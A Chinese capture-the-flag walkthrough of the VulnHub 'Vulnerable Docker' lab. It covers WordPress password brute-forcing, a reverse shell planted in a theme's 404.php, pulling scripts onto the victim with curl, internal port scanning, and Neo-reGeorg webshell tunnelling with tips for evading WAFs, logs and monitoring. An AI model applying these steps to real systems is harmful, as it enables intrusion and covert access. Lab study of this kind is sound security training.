靶场来源: Vulnerable Docker: 1 ~ VulnHub
描述:Down By The Docker
有没有想过在容器中玩 docker 错误配置、权限提升等?
下载此 VM,拿出您的渗透测试帽并开始使用
我们有 2 种模式: - HARD:这需要您将 docker 技能和渗透测试技能相结合,以实现主机入侵。 - EASY:相对简单的路径,了解 docker 就足以破坏机器并在主机上获得 root。
我们已经在您可以使用的各种机器/系统中植入了 3 个标志文件。如果您选择接受,您的任务如下:
- 识别所有标志(总共 2 个:flag_1 和 flag_3)(flag_2 个被无意中遗漏了)
- 在主机上获得 id=0 shell 访问权限。

开启靶场虚拟机之前选择easy模式再进入
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.181,靶场IP192.168.23.66
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.66

2375端口的内容特别多

- 端口 22/tcp (SSH) :
- 状态: 开放
- 服务: OpenSSH 6.6p1 (Ubuntu 2ubuntu1)
- 描述: 这是一个 SSH 服务,版本较旧,运行在 Ubuntu 系统上。我们看到该服务支持多种加密算法(如 DSA、RSA、ECDSA 和 ED25519)。
- 安全性: 如果该系统暴露在互联网或不受信任的网络上,建议通过强密码策略、密钥认证等增强 SSH 的安全性,并及时更新 OpenSSH 版本。
- 端口 2375/tcp (Docker) :
- 状态: 开放
- 服务: Docker 17.06.0-ce
- 描述: 该端口暴露了 Docker API,允许进行远程 Docker 容器管理。Docker 服务信息显示其版本为 17.06.0-ce,且该 API 的最小版本要求为 1.12。
- 安全性: 端口 2375 默认情况下未加密连接,非常危险,如果没有采取合适的认证机制,攻击者可能利用该端口进行远程操作。建议使用 TLS 加密并在 Docker 配置中启用认证(如设置 client-cert 认证)。在生产环境中不要直接暴露此端口。
- 端口 8000/tcp (HTTP) :
- 状态: 开放
- 服务: Apache HTTPD 2.4.10 (Debian)
- 描述: 该端口提供一个 Apache Web 服务器,运行 WordPress 网站(版本 4.8.1)。页面显示为 "NotSoEasy Docker -- Just another WordPress site"。
- 安全性: 由于使用了较旧版本的 Apache 和 WordPress,建议尽快更新,以防止已知的安全漏洞被利用。robots.txt 文件中提到禁止访问 /wp-admin/,这表明管理员区域受限,但没有屏蔽整个网站的敏感目录。确保 WordPress 插件和主题及时更新,并实施更强的 Web 应用安全措施(如防止 SQL 注入、跨站脚本攻击等)。
第一种方法,针对存在 http 服务的 8000 端口进行攻击
4,访问8000端口开放的http服务看看

判断是一个博客网站,枚举扫描扫网站后台试试
dirsearch -u http://192.168.23.66:8000 -x 404,403,301

5,网站指纹扫描识别
whatweb -v http://192.168.23.66:8000

6,指纹扫描没什么用,但是能够找到/wp-login.php这种登录页面

使用wpscan工具进行攻击
wpscan --url http://192.168.23.66:8000/ -e u vp
-e 枚举
-u 用户名
-vp 有漏洞的插件

爆出来一个用户bob

然后再爆出bob用户的密码,但是要先解压出一个字典
gunzip /usr/share/wordlists/rockyou.txt.gz
wpscan --url http://192.168.23.66:8000/ -e u -P /usr/share/wordlists/rockyou.txt -t 20

最后成功爆出来用户密码为Welcome1
wpscan使用指南
WPScan是一个非常流行的用于扫描 WordPress 网站漏洞的工具,它可以帮助安全研究人员发现 WordPress 网站上的已知漏洞、插件和主题漏洞、弱口令等。下面是 WPScan 工具的使用指南,包括基本的安装、常见命令和配置说明。
1. 安装 WPScan
通过 Docker 安装:
如果不想在系统上直接安装依赖,您可以通过 Docker 来运行 WPScan:
docker pull wpscanteam/wpscan
docker run -it wpscanteam/wpscan --url Example Domain
通过 Ruby 安装(如果系统上没有包管理工具):
sudo apt-get install ruby ruby-dev
sudo gem install wpscan
2. 基本用法
扫描目标网站:
wpscan --url Example Domain
这将扫描指定的 WordPress 网站,自动检测出可能的漏洞、插件、主题等。
扫描并列出插件:
wpscan --url Example Domain --enumerate p
使用 --enumerate p 参数,可以枚举网站上安装的所有插件。
扫描并列出主题:
wpscan --url Example Domain --enumerate t
使用 --enumerate t 参数,可以列出网站上安装的所有主题。
扫描并列出用户:
wpscan --url Example Domain --enumerate u
使用 --enumerate u 参数,可以列出 WordPress 网站的用户。
3. 高级扫描选项
使用 API 密钥进行漏洞检查:
WPScan 提供一个 API,可以用来检查 WordPress 安装的漏洞。如果你有 API 密钥,可以在运行扫描时使用该密钥来获取更多的漏洞信息。
首先获取一个 API 密钥:WPScan API。 然后使用命令:
wpscan --url Example Domain --api-token YOUR_API_KEY
检测 WordPress 版本:
wpscan --url Example Domain --wp-version
使用 --wp-version 参数可以检测目标 WordPress 安装的版本,帮助你确定是否存在已知的版本漏洞。
检测 WordPress 配置和文件:
wpscan --url Example Domain --config-backups
使用 --config-backups 参数,可以检测 WordPress 是否泄露了敏感配置文件或备份文件。
4. 弱口令检测
检测弱密码(暴力破解):
wpscan --url Example Domain --enumerate u --passwords /path/to/wordlist.txt --brute-force
- --passwords 选项指定一个密码字典文件。
- --brute-force 用于启用暴力破解。
检测登录页面:
wpscan --url Example Domain --login-url /wp-login.php --usernames admin --passwords /path/to/wordlist.txt --brute-force
- 这会尝试通过暴力破解 admin 用户的密码进行登录。
5. 扫描插件漏洞
扫描特定插件的漏洞:
wpscan --url Example Domain --plugins-detection mixed
该命令启用混合插件检测(可能会检查 WordPress 插件的已知漏洞)。
查看插件的具体漏洞:
wpscan --url Example Domain --plugins-detection aggressive
这会使用更积极的方式去检测插件漏洞。
6. 扫描主题漏洞
扫描并列出所有安装的主题:
wpscan --url Example Domain --enumerate t
扫描主题漏洞:
wpscan --url Example Domain --enumerate t --vuln
7. 结果输出
保存扫描结果到文件:
wpscan --url Example Domain --output results.txt
可以将扫描结果保存到文件,方便后续分析。
8. 示例命令
扫描目标 WordPress 网站:
wpscan --url Example Domain
扫描并枚举插件:
wpscan --url Example Domain --enumerate p
扫描并查看漏洞信息:
wpscan --url Example Domain --api-token YOUR_API_KEY
使用自定义字典暴力破解:
wpscan --url Example Domain --usernames admin --passwords /path/to/wordlist.txt --brute-force
扫描目标并输出结果:
wpscan --url Example Domain --output /path/to/output.txt
9. 常见问题
- API 限制:如果你使用免费版本的 WPScan API,可能会遇到 API 请求次数限制。可以通过购买高级版 API 进行更多的漏洞查询。
- 防火墙和屏蔽:一些目标网站可能会启用 Web 应用防火墙(WAF),它们会检测到 WPScan 的扫描行为并可能阻止扫描。因此,你可能需要调整 WPScan 的扫描速度或者使用代理。
- 更新数据库:WPScan 定期更新漏洞数据库,以包含最新的漏洞。如果你发现扫描没有显示某些漏洞,请确保 WPScan 已经更新至最新版本。
7,然后使用这个密码进行登录,登录成功

由此知道wordpress的版本为6.7.2,是存在一些公开exp的,这里暂不使用

成功得到第一个flag

8,getshell的方式非常经典,在404.php编辑写入php反弹shell代码。使用kali攻击机自带的反弹shell代码

copy这些代码,然后将其复制黏贴到指定区域

需要修改IP和端口再上传
9,触发反弹shell非常简单,首先kali通过nc开启对4444端口的监听
然后访问一个不存在的网站资源 http://192.168.23.66:8000/123456 就能触发404.php存在的反弹shell

10,非常诡异的是ip a查看出来的IP地址与靶场本机IP地址不同

在Docker环境中,www-data用户的权限与宿主机的IP地址不一致是正常现象,原因与Docker的网络隔离机制和用户命名空间隔离有关。以下是详细解释:
1. Docker容器的网络隔离
Docker默认使用**桥接网络(Bridge Network)**为每个容器分配独立的网络命名空间,这意味着:
- 容器拥有独立的虚拟网络接口(如 eth0),其IP地址与宿主机(本机)的物理接口(如 eth0或 wlan0)不同。
- 例如,宿主机IP可能是 192.168.1.100,而容器内部的IP可能是 172.17.0.2(Docker默认的私有网段)。
验证方法
查看宿主机IP
hostname -I
进入容器查看容器IP
docker exec -it <容器名或ID> ip a
2. www-data用户的权限隔离
www-data是Web服务器(如Apache/Nginx)在容器内的默认运行用户,用于权限控制:
- 该用户仅在容器内有效,与宿主机用户无关。
- 容器通过用户命名空间隔离,即使容器内有同名用户(如 www-data),其UID/GID也可能与宿主机不同。
验证方法
查看宿主机www-data用户的UID/GID
id www-data
进入容器查看容器内www-data的UID/GID
docker exec -it <容器名或ID> id www-data
3. 端口映射与访问方式
虽然容器有独立IP,但默认外部无法直接访问容器IP。需通过端口映射将宿主机端口与容器端口绑定:
docker run -p 80:80 <镜像名>
- 此时,外部通过宿主机IP(如 192.168.1.100:80)访问容器服务。
- 容器内服务(如Apache)可能记录的是容器IP(172.17.0.2),但实际访问来源经过Docker的NAT转换。
4. 高级网络模式
若IP不一致导致问题,可调整Docker网络模式:
- Host模式 :容器共享宿主机网络命名空间,IP与宿主机一致。
docker run --network=host <镜像名> - 自定义网络 :创建自定义桥接网络,实现容器间固定IP分配。
docker network create --subnet 10.10.0.0/24 mynet
docker run --network=mynet --ip 10.10.0.2 <镜像名>
5. 安全与权限建议
- 避免使用root用户:确保容器内服务以非特权用户(如 www-data)运行。
- 限制容器权限 :运行容器时添加安全参数:
docker run --user 1000:1000 --cap-drop=ALL <镜像名>
总结
- 网络不一致:因Docker默认的桥接网络隔离,容器IP与宿主机IP必然不同。
- 用户不一致:容器内的用户(如 www-data)与宿主机用户通过命名空间隔离,UID/GID可能不同。
- 解决方案:若需IP一致,可使用Host模式;若需用户一致,需同步UID/GID或绑定用户。
11,在docker容器强行启动一个可交互shell

bash -i:bash是Linux系统中的一个shell,而-i选项表示"交互式模式"(interactive mode)。在交互式模式下,bash shell会:
- 读取用户的配置文件(如~/.bashrc)。
- 启用命令提示符,让用户可以输入并执行命令。
- 允许用户与shell进行交互式操作。
然而,bash -i的执行过程中可能会遇到以下错误:
- bash: cannot set terminal process group (1): Inappropriate ioctl for device:该错误通常发生在非交互式终端环境中(如通过管道或某些程序重定向的环境)。这表明bash无法与终端进行正常的交互,因为它没有一个合适的终端设备(TTY)。
- bash: no job control in this shell:这是因为在没有交互式终端(如TTY设备)的情况下,bash shell无法启用作业控制(job control)。作业控制允许用户在shell中暂停、后台运行或切换任务,但这在没有合适终端的情况下是无法实现的。
help查看能够使用哪些命令

12,编写虚拟环境下的主机探活脚本
|------------------------------------------------------------------------------------------------------------|
| for ip in 172.18.0.{1..254}; do (ping -c1 -W1 "ip" \&\>/dev/null \&\& echo "ip") & done | sort -V wait |
- 简化IP生成
使用Bash的大括号扩展 {1..254} 直接生成IP地址列表,避免依赖外部命令 seq。 - 后台并发处理
每个 ping 命令在子shell中后台运行 (&),加快扫描速度。 - 精确输出控制
ping 成功时仅输出IP地址,过滤冗余文本。 - 结果排序(可选)
通过管道 | sort -V 对输出结果按自然顺序排序,便于查看(若无需排序可移除)。

发现存在四个IP
13,接下来就编写代码扫描端口。先在kali linux上面写好

1. 定义目标主机
hosts=("172.18.0.1" "172.18.0.2" "172.18.0.3" "172.18.0.4")
这个部分定义了一个名为hosts的数组,包含了要扫描的目标IP地址。脚本将会对这些主机逐一进行端口扫描。
2. 端口扫描的端口范围
END=65535
这个变量定义了端口扫描的上限为65535,即扫描所有可能的端口(从1到65535)。
3. 遍历每个主机进行扫描
for host in "${hosts[@]}"
这个for循环遍历了hosts数组中的每个IP地址
- 对于每个目标主机,先输出扫描目标的提示信息:Scanning $host。
4. 端口扫描
|---------------------------------------------------------------------------------------------------------|
| for ((port=1; port<END;port++)) do echo "" > /dev/tcp/host/port && echo "port $port is open" done |
- for循环遍历每个端口,从1到65534(不包括65535)。脚本尝试对每个端口进行扫描。
- echo "" > /dev/tcp/host/port:这是一个Bash特性,/dev/tcp/是一个特殊的文件,允许脚本通过TCP连接进行通信。
- 该命令的作用是尝试建立到目标主机host的TCP连接,连接目标端口port。
- 如果连接成功,命令将返回0(成功),否则返回非零值(失败)。
- && echo "port $port is open":如果连接成功(即端口开放),就输出port $port is open,表示该端口是开放的。
5. 错误处理
done 2>/dev/null
这部分的作用是将所有的错误输出(例如连接失败时产生的错误信息)重定向到/dev/null,从而屏蔽掉错误信息,只保留成功连接的端口信息。
6. 总结
- 脚本逐一扫描目标主机的每个端口。
- 对于每个端口,脚本通过/dev/tcp/host/port尝试建立连接,如果连接成功,表示该端口开放,输出"端口$port开放"。
- 如果连接失败,脚本不会显示任何信息(因为错误输出被重定向到/dev/null)。
- 通过这种方式,脚本可以有效地列出所有开放的端口,而不显示失败的连接。
然后开启http服务以发送给目标服务器

目标服务器使用curl命令接受下载脚本
cd /tmp
curl -O http://192.168.23.181:8000/portscan.sh

然后执行这个端口扫描脚本
chmod +x portscan.sh
./portscan.sh

13,然后使用脚本分别探测这几个端口分别有什么
curl -s 172.18.0.1:8000

经过对比可以知道这个是物理主机的IP地址,开放的是网络主机的http服务
curl -s 172.18.0.3:80

80端口是主机,和网络主机的服务网站一模一样
curl -s 172.18.0.4:8022

由此就可以知道 172.18.0.4运行docker-ssh
14,然后对照端口扫描的结果给局域网内四台虚拟主机用socat做一堆端口转发
socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.23.181:1234 &
socat TCP4-LISTEN:2222,reuseaddr,fork TCP4:172.18.0.1:22 &
socat TCP4-LISTEN:8000,reuseaddr,fork TCP4:172.18.0.1:8000 &
socat TCP4-LISTEN:80,reuseaddr,fork TCP4:172.18.0.2:80 &
socat TCP4-LISTEN:44977,reuseaddr,fork TCP4:172.18.0.2:44977 &
socat TCP4-LISTEN:22,reuseaddr,fork TCP4:172.18.0.4:22 &
socat TCP4-LISTEN:8022,reuseaddr,fork TCP4:172.18.0.4:8022 &

白忙活了,没有这个工具。然后使用Neo-reGeorg工具详解
Neo-reGeorg工具详解
Neo-reGeorg 是一款基于 HTTP(S) 协议的内网穿透工具,是 reGeorg 的升级版,通过加密传输和动态伪装技术绕过安全检测,广泛应用于内网渗透中的横向移动和隧道搭建。以下从核心原理、使用方法、实战场景、防御措施等角度进行详细解析:
一、核心原理与特性
- 协议基础
Neo-reGeorg 基于 Socks5 协议,通过 HTTP(S) 隧道将内网流量封装在加密的 HTTP 数据包中传输。本地监听 1080 端口作为 Socks5 代理入口,流量经加密后通过 Web 服务器转发至内网目标168。 - 核心优势
- 加密与伪装 :传输内容经变形 Base64 加密,伪装为普通 HTTP 流量,避免特征检测16。
- 动态混淆 :HTTP 头部指令随机生成,支持多 URL 随机请求,降低被 WAF 或 IDS 识别的风险18。
- 兼容性高 :支持 PHP、JSP、ASPX 等多种语言脚本,适应无 Cookie 或负载均衡环境16。
- 技术对比
相较于传统工具如 reDuh 或 FRP,Neo-reGeorg 无需额外安装客户端,仅需上传单一 WebShell 文件即可建立隧道,隐蔽性更强69。
二、使用步骤详解
1. 生成隧道脚本
生成密钥为 password 的隧道文件(支持多语言)
python3 neoreg.py generate -k password
生成文件位于 neoreg_servers/ 目录,包含 tunnel.php、tunnel.jsp 等脚本24。
2. 上传并部署脚本
将生成的隧道文件上传至目标 Web 服务器的可访问路径(如 /var/www/html/tunnel.php),并确保脚本可执行。通过 curl 或浏览器访问确认脚本可正常运行17。
3. 建立 Socks5 代理
连接隧道脚本并启动本地代理
python3 neoreg.py -k password -u http://目标IP/tunnel.php
默认在本地 127.0.0.1:1080 启动 Socks5 代理,后续可通过 Proxychains 或浏览器配置代理访问内网资源27。
三、高级功能与实战技巧
- 流量伪装
- 定制 HTTP 响应码 :生成伪装成 404 页面的隧道脚本,干扰日志审计:
python3 neoreg.py generate -k password --file 404.html --httpcode 404:cite[1]:cite[6] - 动态请求头 :添加随机 HTTP 头部或 Cookie,增强隐蔽性:
python3 neoreg.py -k password -u http://目标/tunnel.php -H "Authorization: Basic YWRtaW46MTIzNA==" --cookie "session=abc123":cite[1]:cite[6]
- 定制 HTTP 响应码 :生成伪装成 404 页面的隧道脚本,干扰日志审计:
- 复杂网络环境适配
- 负载均衡场景 :通过 -r 参数指定内网转发地址,应对多服务器负载均衡:
python3 neoreg.py -k password -u http://目标/tunnel.jsp -r http://内网IP:8080:cite[6] - 代理穿透 :若目标服务器需通过代理访问外网,可使用 --proxy 参数:
python3 neoreg.py -k password -u http://目标/tunnel.php --proxy socks5://10.1.1.1:8080:cite[6]
- 负载均衡场景 :通过 -r 参数指定内网转发地址,应对多服务器负载均衡:
- 联合工具链
- Proxychains 代理 :配置 /etc/proxychains.conf 添加 socks5 127.0.0.1 1080,支持 Nmap、Metasploit 等工具穿透内网27。
- BurpSuite 抓包 :结合 Burp 代理分析加密流量,辅助调试或绕过认证机制87。
四、典型应用场景
- 防火墙绕过
目标内网仅开放 80/443 端口时,通过 Web 服务器建立加密隧道,穿透防火墙限制访问内网服务(如数据库、远程桌面)37。 - 横向渗透
利用隧道代理扫描内网段(如 proxychains nmap -sT 192.168.1.0/24),定位关键主机并进一步利用漏洞79。 - 隐蔽 C2 通信
与 Cobalt Strike 结合,通过加密隧道传递攻击指令,规避流量监测设备89。
五、常见问题与解决
- 依赖缺失
若报错 No module named requests,需安装 Python 依赖:
pip3 install requests:cite[4] - 代理连接失败
- 检查密钥一致性 :生成与连接时使用的密钥需完全匹配2。
- 跳过可用性测试 :添加 --skip 参数绕过脚本初始检测:
python3 neoreg.py -k password -u http://目标/tunnel.php --skip:cite[4]
- 跨设备代理失效
若其他设备无法通过 Kali 的代理访问内网,需修改监听地址为 0.0.0.0:
python3 neoreg.py -k password -u http://目标/tunnel.php -l 0.0.0.0 -p 1080:cite[3]
六、防御与检测建议
- 主动防御
- WebShell 扫描 :定期使用 D盾、河马等工具检测异常脚本8。
- 日志审计 :监控异常 HTTP 请求(如频繁访问固定 URL、响应码异常)8。
- 权限控制
- 最小化文件权限 :限制 Web 目录的可执行权限,禁止上传非白名单文件类型8。
- 禁用危险配置 :关闭不必要的 HTTP 方法(如 PUT、TRACE),避免中间件解析漏洞8。
- 流量分析
- 解密特征识别 :尽管传输内容加密,但固定密钥可能导致 Base64 变形模式可被机器学习模型识别68。
- 行为建模 :通过统计内网主机的出站连接频率,发现异常代理行为9。
七、与其他工具对比
|---------------|---------|--------|------------|----------------|
| 工具 | 协议 | 隐蔽性 | 适用场景 | 缺点 |
| Neo-reGeorg | HTTP(S) | 高(加密) | Web 服务器穿透 | 依赖 WebShell 文件 |
| FRP | TCP/UDP | 中(可加密) | 多协议转发 | 需部署客户端 |
| Proxychains | Socks5 | 低 | 本地工具链代理 | 不支持复杂网络穿透 |
| Cobalt Strike | Socks4a | 高(加密) | 红队协作与高级持久化 | 商业软件,成本高 |
14,下载安装配置工具
export https_proxy="socks5://192.168.31.223:49969"
git clone https://github.com/Whale-Labs/neo-regeorg.git
cd /Neo-reGeorg-master
python3 neoreg.py generate -k yourpassword

可以看到生成了neoreg_servers/tunnel.php,开启http服务使靶机能够下载
cd /root/Neo-reGeorg-master/neoreg_servers
python -m http.server

curl -O http://192.168.23.181:8000/tunnel.php

mv tunnel.php /var/www/html/tunnel.php

python3 neoreg.py -k yourpassword -u http://192.168.23.66:8000/tunnel.php

配合proxychains4 工具使用,需要修改配置文件: /etc/proxychains4.conf,在其末尾添加
socks5 127.0.0.1 1080

15,然后使用nmap探测四个内网IP的端口
proxychains4 nmap -Pn -sT 172.18.0.1

proxychains4 nmap -Pn -sT 172.18.0.2

proxychains4 nmap -Pn -sT 172.18.0.3

proxychains4 nmap -Pn -sT 172.18.0.4

15,proxychains4 firefox

访问172.18.0.1:8000

访问172.18.0.4:8022

这里的终端竟然是root用户

cat /proc/version
查看版本为 ubuntu 14.04

在这里安装了一个docker,先换源
vim /etc/apt/sources.list
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| deb ubuntu安装包下载_开源镜像站-阿里云 trusty main restricted universe multiverse deb ubuntu安装包下载_开源镜像站-阿里云 trusty-security main restricted universe multiverse deb ubuntu安装包下载_开源镜像站-阿里云 trusty-updates main restricted universe multiverse deb ubuntu安装包下载_开源镜像站-阿里云 trusty-proposed main restricted universe multiverse deb ubuntu安装包下载_开源镜像站-阿里云 trusty-backports main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-security main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-updates main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-proposed main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-backports main restricted universe multiverse |
export https_proxy="socks5://192.168.31.223:49969"
curl -fsSL get.docker.com -o get-docker.sh
python -m http.server
